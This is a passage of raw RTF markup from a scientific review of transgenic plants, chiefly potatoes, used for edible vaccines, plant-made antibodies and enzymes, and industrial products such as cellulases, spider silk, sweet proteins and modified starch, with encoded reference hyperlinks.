\cs18\fs20\cf2\insrsid4943116\charrsid16345645 , 2000}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 ).
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13046338\charrsid16345645                                               }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 Since enteric diseases are caused by multiple patho
gens it would be desirable to generate multicomponent vaccines that can provide protection against such pathogens simulteneously. Hence a strategic epitope fusion construct consisting of subunits B and A2 of the cholera toxin (CT) linked with rotavirus en
terotoxin and enterotoxigenic }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 E. coli}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 fimbrial antigen genes was made and transferred into potato. This trivalent edible vaccine generated significant immune response against these antigens in orally immunized mice.
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13046338\charrsid16345645                                               }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
The concept of edible vaccine has been extended for various other diseases such as anthrax, cancer, bronchiolitis, etc. ({\*\bkmkend btbl2}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;
_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;tbl2&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 
{\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
410072007400690063006c006500550052004c0026005f007500640069003d00420036005400430033002d0034004a0032004a0033004b004d002d00320026005f0075007300650072003d00320038003200310038003100380026005f0063006f0076006500720044006100740065003d0030003200250032004600300036
00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
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0038003200310038003100380026006d00640035003d0032003400380036006200610061003000330031003000620038006500640035006300640063003500650034003000330039003900340062003600370038003600000005000000740062006c00320000000000000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Table 2}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
). Anthrax is an acute infectious disease caused by the spore-forming bacterium }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 Bacillus anthracis}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
. Protective antigen (PA), the potent molecule for vaccination against anthrax has been expressed in tobacco and tomato}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid9769198\charrsid16345645 .}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645  Kumar et al. unpublished).}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid9769198\charrsid16345645 {\*\bkmkend bbib41}
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13046338\charrsid16345645                                                }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
Human papillomaviruse (HPV) infection has been associated with cervical cancer. An attempt was made to produce edible vaccine by engineering the HPV type 16 major capsid protein (L1) in transgenic
 tobacco and potato plants. The immunogenecity test of this recombinant protein by feeding transgenic potato tubers to mice revealed an anti-L1 response in about 50% of the animals. The edible vaccines can be of tremendous help in treating autoimmune dise
ases such as diabetes mellitus, which require relatively large quantities of antigen for inducing immune tolerance. Antigens for diabetes mellitus, human GAD65 and human insulin have been engineered in transgenic carrot and potato respectively
{\*\bkmkend bbib60}. Oral a
dministration of transgenic potatoes to diabetic mice resulted in a substantial reduction in insulitis and a delay in the progression of clinical diabetes. These results indicate the feasibility of oral delivery of plant derived antigens for imparting imm
uno tolerance against this T cell-mediated autoimmune disease{\*\bkmkend bbib3}.
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13046338\charrsid16345645                                                }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
There are various groups involved in making edible vaccines for animals as well. In two independent studies, vaccine antigens for hemorrhagic 
disease of rabbits and infectious bronchitis (IB) of chickens have been expressed in transgenic potatoes and have also been successfully tested on rabbits and chickens respectively}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11797115 
{\*\bkmkstart bbib42}{\*\bkmkend bbib12}{\*\bkmkend bbib87}{\*\bkmkend bbib42}. Recently}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  generated an edible vaccine}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11797115 ,
 which is effective}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  against simia}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11797115 n immunodeficiency virus (SIV) }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645 which infects African green monkeys and various primates. A fusion gene comprising of the cholera toxin B subunit (CTB) linked with the simian immunodeficiency virus (SIVmac) Gag p27 capsid gene (CTB\endash 
Gag) was transferred into potato. The fusion gene CTB\endash Gag was biologically active and made up approx. 0.016\endash 0.022% of the total soluble tuber protein.
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13046338\charrsid16345645                                                  }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
Although the pre-clinical trials for plant based vaccines have been performed ({\*\bkmkend bbib73}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818
&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib73&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
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630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d00320034003800360062006100610030003300310030006200380065006400350063006400630035006500340030003300390039003400620036003700380036000000060000006200690062003700330000000000000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Tacket }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al.,}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\cs18\fs20\cf2\insrsid4943116\charrsid16345645  1998}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  and {\*\bkmkend bbib74}}
{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-
2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib74&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
410072007400690063006c006500550052004c0026005f007500640069003d00420036005400430033002d0034004a0032004a0033004b004d002d00320026005f0075007300650072003d00320038003200310038003100380026005f0063006f0076006500720044006100740065003d0030003200250032004600300036
00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d003200340038003600620061006100300033003100300062003800650064003500630064006300350065003400300033003900390034006200360037003800360000000600000062006900620037003400000000000000000000a0}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Tacket }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 
., 2000}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 ), many challenges including optimization of expression l
evel to suit the dosage requirements and stabilization during post harvest storage need to be addressed. Vegetables, which are used as salads are good candidates for oral immunization.
\par }\pard\plain \ltrpar\s4\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel3\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \ab\af0\afs24\alang1025 \ltrch\fcs0 
\b\fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15940594\charrsid16345645 {\*\bkmkstart SECX14}{\*\bkmkend SECX14}\tab }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
2. Enzymes and plantibodies
\par }\pard\plain \ltrpar\s25\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13046338\charrsid16345645                                                }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
Vegetables have also been used for bioproduction of therapeutically valuable proteins. Treatment of organophosphate poisoning requires large amounts of cholinesterases. Transgenic tomato plants expressing recombinant isoform of human acety
lcholinesterase have been generated which produced active and stable acetylcholinesterase, with the kinetic characteristics similar to that of the human enzyme ({\*\bkmkstart bbib55}{\*\bkmkend bbib55}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-
2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib55&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
410072007400690063006c006500550052004c0026005f007500640069003d00420036005400430033002d0034004a0032004a0033004b004d002d00320026005f0075007300650072003d00320038003200310038003100380026005f0063006f0076006500720044006100740065003d0030003200250032004600300036
00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d00320034003800360062006100610030003300310030006200380065006400350063006400630035006500340030003300390039003400620036003700380036000000060000006200690062003500350000000000000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Mor }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 
, 2001}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \f43\fs20\insrsid4943116\charrsid16345645 ). Another human protein, \&#039;e1
-interferon has also been successfully engineered in potato plants.
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13046338\charrsid16345645                                                }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 Plant-derived antibodies, also known as pla
ntibodies, have extensive medical uses such as passive immunization, diagnostics and targeted drug delivery. However, the potential of antibodies as therapeutics gets constrained due to the limited amount and high cost of production. Plants provide suitab
le machinery for production of antibodies in large amounts. Antibody production has been successfully demonstrated in tobacco, soybean and potato{\*\bkmkstart bbib43}{\*\bkmkstart bbib4}{\*\bkmkend bbib43}
. These antibodies can be produced and stored in leaves, seeds or storage organs. }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid9769198\charrsid16345645 {\*\bkmkend bbib4}Various }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid9596873\charrsid16345645 experiments}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 have shown that antibodies can be expressed in potato tubers. The antibodies constituted up to 2% of the total soluble protein and could be stored in tubers in cold storage for about 18 months with 50% of the antibodies retaining their function.
\par }\pard\plain \ltrpar\s4\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel3\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \ab\af0\afs24\alang1025 \ltrch\fcs0 
\b\fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15940594\charrsid16345645 {\*\bkmkstart SECX15}{\*\bkmkend SECX15}\tab }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
3. Industrial applications
\par }\pard\plain \ltrpar\s25\qj \fi-1440\li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0\itap0\pararsid16345645 \rtlch\fcs1 \af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13046338\charrsid16345645                                             }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
Use of plants as biofactories for producing industrial enzymes, chemicals and raw materials can be carried out in two ways. One way is to introduce a foreign protein gene
 and produce that in high amounts, the other way is to modify the plants metabolic pathways to generate sufficient end product, by product or a novel biomolecule. The first category involves production of enzymes such as cellulases, amylases, which are re
quired in large quantities and foreign proteins such as silk protein, or sweet protein \lquote monellin\rquote .
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13046338\charrsid16345645                                              }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
Cellulases find wide application in food ingredients, beverage and textile industries. {\*\bkmkstart bbib17}{\*\bkmkend bbib17}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid5982620\charrsid16345645 HYPERLINK &quot;htt
p://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed
5cdc5e403994b6786&quot; \\l &quot;bib17&quot;}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
410072007400690063006c006500550052004c0026005f007500640069003d00420036005400430033002d0034004a0032004a0033004b004d002d00320026005f0075007300650072003d00320038003200310038003100380026005f0063006f0076006500720044006100740065003d0030003200250032004600300036
00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d0032003400380036006200610061003000330031003000620038006500640035006300640063003500650034003000330039003900340062003600370038003600000006000000620069006200310037000000000000000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Dai }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al}{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\insrsid4943116\charrsid16345645 .}
{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645  (2000)}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 generated transgenic potatoes expressing endoglucanase (E1), a cellulase gene from }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 Acidothermus cellulolyticus}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4943116\charrsid16345645 
. The gene expression driven by leaf specific promoter and RbcS-2A signal peptide, resulted in E1 protein accumulation that was up to 2.6% of total leaf soluble protein. Human milk proteins such as lactoferrin and casein have also been expressed in transg
enic potatoes{\*\bkmkstart bbib15}{\*\bkmkend bbib15}. These can be used as supplement in human infant formulas and baby foods to enhance nutrition, digestibility and antimicrobial properties.
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13046338\charrsid16345645                                              }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 The remarkable mechanical property of spider si
lk finds several industrial applications. However, obtaining spider silk in large quantities from a natural source is very difficult. Hence efforts have been made to obtain large quantities of spider dragline silk by over-expressing }{\rtlch\fcs1 
\ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 Nephila clavipes}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  dragli
ne protein gene in tobacco and potato. Dragline protein accumulation of up to 2% of the soluble protein has been achieved through this gene in transgenic potato lines}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid9596873\charrsid16345645 .}{
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid13046338\charrsid16345645                                                 }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 A sweet protein Monellin from the }{\rtlch\fcs1 
\ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 Dioscoreophyllum cumminsii}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  plant has been expressed in lettuce and tomato ({\*\bkmkstart bbib59}{\*\bkmkend bbib59
}}{\field\fldedit{\*\fldinst {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 HYPERLINK &quot;http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6TC3-4J2J3KM-2&amp;_user=2821818&amp;_coverDate=02%2F06%2F2006&amp;_rdoc=1&amp;_fmt=full&amp;_orig=search&amp;_cdi=5159&amp;_sort=d&amp;_
docanchor=&amp;view=c&amp;_acct=C000058878&amp;_version=1&amp;_urlVersion=0&amp;_userid=2821818&amp;md5=2486baa0310b8ed5cdc5e403994b6786&quot; \\l &quot;bib59&quot; }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid15082596\charrsid16345645 {\*\datafield 
08d0c9ea79f9bace118c8200aa004ba90b020000000b000000e0c9ea79f9bace118c8200aa004ba90b2802000068007400740070003a002f002f007700770077002e0073006300690065006e00630065006400690072006500630074002e0063006f006d002f0073006300690065006e00630065003f005f006f0062003d00
410072007400690063006c006500550052004c0026005f007500640069003d00420036005400430033002d0034004a0032004a0033004b004d002d00320026005f0075007300650072003d00320038003200310038003100380026005f0063006f0076006500720044006100740065003d0030003200250032004600300036
00250032004600320030003000360026005f00720064006f0063003d00310026005f0066006d0074003d00660075006c006c0026005f006f007200690067003d0073006500610072006300680026005f006300640069003d00350031003500390026005f0073006f00720074003d00640026005f0064006f00630061006e00
630068006f0072003d00260076006900650077003d00630026005f0061006300630074003d00430030003000300030003500380038003700380026005f00760065007200730069006f006e003d00310026005f00750072006c00560065007200730069006f006e003d00300026005f007500730065007200690064003d0032
0038003200310038003100380026006d00640035003d00320034003800360062006100610030003300310030006200380065006400350063006400630035006500340030003300390039003400620036003700380036000000060000006200690062003500390000000000000000000000}}}{\fldrslt {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \cs18\fs20\cf2\insrsid4943116\charrsid16345645 Penarrubia }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \cs18\i\fs20\cf2\insrsid4943116\charrsid16345645 et al.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\cs18\fs20\cf2\insrsid4943116\charrsid16345645 , 1992}}}\sectd \ltrsect\linex0\endnhere\sectlinegrid360\sectdefaultcl\sectrsid9702004\sftnbj {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 ). Monellin is
 100,000 times sweeter than sucrose. Thus, monellin can replace sucrose, which is extensively used in confectionery, jams, cakes, and biscuits. Due to high calorific value and dental caries-inducing properties, sucrose had been replaced by artificial swee
t
eners. Artificial sweeteners have low calorific value and hence are advantageous for persons on a restrictive diet. However, these artificial sweeteners also have limitations in terms of taste and are suspected to be carcinogenic. Hence an alternate has b
een }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid11797115\charrsid16345645 {\*\bkmkstart bbib9}presented in}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
 the form of palatinose. Palatinose is a low calorific structural isomer of sucrose with physio-chemical properties similar to that of sucrose. For converting sucrose into palatinose, an enzyme sucrose isomerase from }{\rtlch\fcs1 \ai\af0\afs20 
\ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 Erwinia rhapontici}{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \f43\fs20\insrsid4943116\charrsid16345645 
 was cloned under the control of tuber specific promoter and transferred to potato. The transgenic potato plants accumulated 1.7\endash 16\~\&#039;ecmol\~g}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\super\insrsid4943116\charrsid16345645 \u8722\&#039;2d1}{
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  of palatinose in tubers{\*\bkmkend bbib9}. Thus, production of sweeteners with low calorific value in transgenic fruits and vege
tables not only fulfills the requirements of a low calorie sweetener but also represents an alternative strategy to enhance the flavor and quality of the fruit.
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid8470668\charrsid16345645                                                }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 Besides sucrose, sugars such as glucose (dextros
e) and fructose also have a wide range of applications in the food industry, fermentation technology and pharmaceuticals. These are produced from starch sources such as corn, wheat, and potato. In industries the enzymatic processing of starch into glucose
 }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \f43\fs20\insrsid4943116\charrsid16345645 and fructose requires sequential activity of enzymes such as \&#039;e1-amylase, glucoamylase and glucose isomerase.}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid16206186\charrsid16345645  }{\rtlch\fcs1 \af43\afs20 \ltrch\fcs0 \f43\fs20\insrsid4943116\charrsid16345645 A fusion gene encoding the thermostable enzymes: \&#039;e1-amylase from }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 
\i\fs20\insrsid4943116\charrsid16345645 Bacillus stearothermophilus}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  and glucose isomerase from }{\rtlch\fcs1 \ai\af0\afs20 \ltrch\fcs0 \i\fs20\insrsid4943116\charrsid16345645 
Thermus thermophilus}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 , was placed under the control of a granule-bound-starch synthase promoter. This enzymatic complex was only active at high temperature (65\~\&#039;b0
C). The high-temperature treatment (65\~\&#039;b0C) performed on young and old tubers revealed an increase in the rate of fru
ctose and glucose formation by a factor of 16.4 and 5. 7, respectively, in the transgenic tubers as compared to untransformed control tubers. Thus, these transgenic potatoes can be of immense use for starch processing industries.
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid8470668\charrsid16345645                                              }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645 
Manipulation of starch quality and quantity is the most common example of metabolic engineering. Starch has a very wide spectrum of application starting from food to fermentation, pharmaceutical, plastic, paper, textile and many other in
dustries. Due to its varied use natural starch is modified chemically or enzymatically to suit industrial use. The chemical modification processes are costly and the by-products cause environmental deterioration. Hence increasing the starch production and
 
tailoring the plant cell to produce starch derivatives will be cost effective and eco-friendly. Increase in starch content has been achieved in transgenic potato over-expressing barley endosperm ADP-glucose pyrophosphorylase. Transgenic increase in the ad
enylate content by over-expression of adenylate kinase in potato resulted in 60% increase in starch content and two- to four-fold increase in concentration of several amino acids. In addition, these transgenic plants also showed enhanced tuber yield}{
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid16206186\charrsid16345645 .}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4943116\charrsid16345645  To obt
